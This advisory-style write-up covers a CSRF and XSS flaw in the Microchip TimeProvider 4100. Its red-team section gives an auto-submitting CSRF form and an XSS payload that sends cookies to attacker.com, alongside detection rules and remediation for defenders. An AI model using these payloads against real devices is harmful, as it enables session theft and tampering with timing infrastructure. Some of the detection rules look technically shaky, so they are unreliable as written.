CVE-2024-43684

Executive Summary

CVE-2024-43684 is a Cross-Site Request Forgery (CSRF) vulnerability in Microchip TimeProvider 4100, a precision time synchronization appliance. The flaw allows an attacker to forge requests on behalf of an authenticated administrator, leading to unauthorized state changes and potential Cross-Site Scripting (XSS) injection. The vulnerability affects all versions from 1.0. No public exploit code or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk is elevated due to the device’s critical role in network timing infrastructure.

CVSS Breakdown & Threat Level

• CVSS Vector: UNKNOWN (no official vector assigned)
• Base Score: 0.0 (placeholder)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (for CSRF initiation)
• User Interaction: Required (admin must be logged in)
• Scope: Unchanged
• Confidentiality Impact: Low (XSS can leak session data)
• Integrity Impact: High (CSRF can modify device config)
• Availability Impact: Low

Threat Level: Medium – Exploitation requires social engineering but can lead to full device compromise.

Deep Dive & Mechanics

The Microchip TimeProvider 4100 web interface lacks CSRF tokens or origin validation in its HTTP request handling. An attacker can craft a malicious page that, when visited by an authenticated admin, submits a forged POST/GET request to the device. This can change NTP settings, add rogue time sources, or inject XSS payloads that execute in the admin’s browser context.

The XSS component arises because the device does not sanitize user-supplied input in certain configuration fields (e.g., device name, NTP server address). An attacker can inject JavaScript that steals session cookies or performs actions on behalf of the admin.

Attack Flow:

1. Attacker hosts a malicious HTML page with an auto-submitting form targeting the TimeProvider 4100’s admin interface.
2. Admin (logged into the device) visits the attacker’s page.
3. The form submits a CSRF request to change the NTP server to an attacker-controlled host.
4. The attacker’s NTP server responds with malicious data, or the XSS payload executes, exfiltrating session tokens.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# No CSRF token validation
@app.route('/update_ntp', methods=['POST'])
def update_ntp():
    ntp_server = request.form['ntp_server']
    # No input sanitization
    config['ntp_server'] = ntp_server
    save_config()
    return "OK"

Patched Code (Conceptual):

import secrets

@app.route('/update_ntp', methods=['POST'])
def update_ntp():
    token = request.form.get('csrf_token')
    if not token or token != session.get('csrf_token'):
        abort(403)
    ntp_server = sanitize_input(request.form['ntp_server'])
    config['ntp_server'] = ntp_server
    save_config()
    return "OK"

def sanitize_input(value):
    # Remove script tags and event handlers
    import re
    return re.sub(r'<[^>]*>', '', value)

Exploitation & Lab Setup

Red Team

Lab Environment:

• Microchip TimeProvider 4100 (firmware 1.0)
• Attacker machine with Python and a web server
• Victim browser (admin session)

CSRF PoC (HTML):

<html>
<body>
<form action="http://<TIME_PROVIDER_IP>/update_ntp" method="POST">
  <input type="hidden" name="ntp_server" value="attacker.com">
  <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

XSS Payload (injected via device name):

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Host the CSRF page on attacker server.
2. Lure admin to visit the page.
3. The NTP server is changed to attacker-controlled host.
4. Optionally, inject XSS via device name field to steal session.

Blue Team

Detection:

• Monitor for unexpected changes to NTP server configuration.
• Alert on HTTP requests to /update_ntp without a valid CSRF token.
• Use web application firewall (WAF) to block requests with missing Referer header.

Prevention:

• Implement CSRF tokens in all state-changing requests.
• Validate Origin and Referer headers.
• Sanitize all user input to prevent XSS.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /update_ntp or /set_device_name from external IPs.
• Logs: Configuration change events without corresponding admin action.
• File: Modified ntp.conf or config.xml with unknown NTP server IPs.
• DNS: Queries to suspicious NTP server domains (e.g., attacker.com).

Detection Engineering

YARA Rule

rule CVE_2024_43684_CSRF_XSS {
    meta:
        description = "Detects CSRF/XSS attempts against Microchip TimeProvider 4100"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $csrf_form = "action=\"/update_ntp\"" nocase
        $xss_payload = /<script>.*<\/script>/ nocase
        $device_name = "device_name" nocase
    condition:
        any of ($csrf_form, $xss_payload) or
        ($device_name and #xss_payload > 0)
}

Sigma Rule

title: CVE-2024-43684 CSRF/XSS Attempt on TimeProvider 4100
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting TimeProvider 4100 without CSRF tokens
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/update_ntp'
    filter:
        cs-headers|contains: 'Referer: http://<TIME_PROVIDER_IP>/'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from trusted IPs
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-43684 - CSRF Attempt on TimeProvider 4100";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/update_ntp"; http_uri;
    pcre:"/Referer\x3a\s[^<TIME_PROVIDER_IP>]/Ri";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable remote web access to the TimeProvider 4100 if not required. Use VPN or dedicated management VLAN.
2. Short-term: Implement a reverse proxy with CSRF token injection and input sanitization.
3. Long-term: Apply vendor firmware update when available. Monitor Microchip security advisories.
4. Compensating Controls: Enable HTTP-only cookies, use Content Security Policy (CSP) headers, and enforce strict Referrer-Policy.

Valters IT – DevSecOps & Cyber Threat Intelligence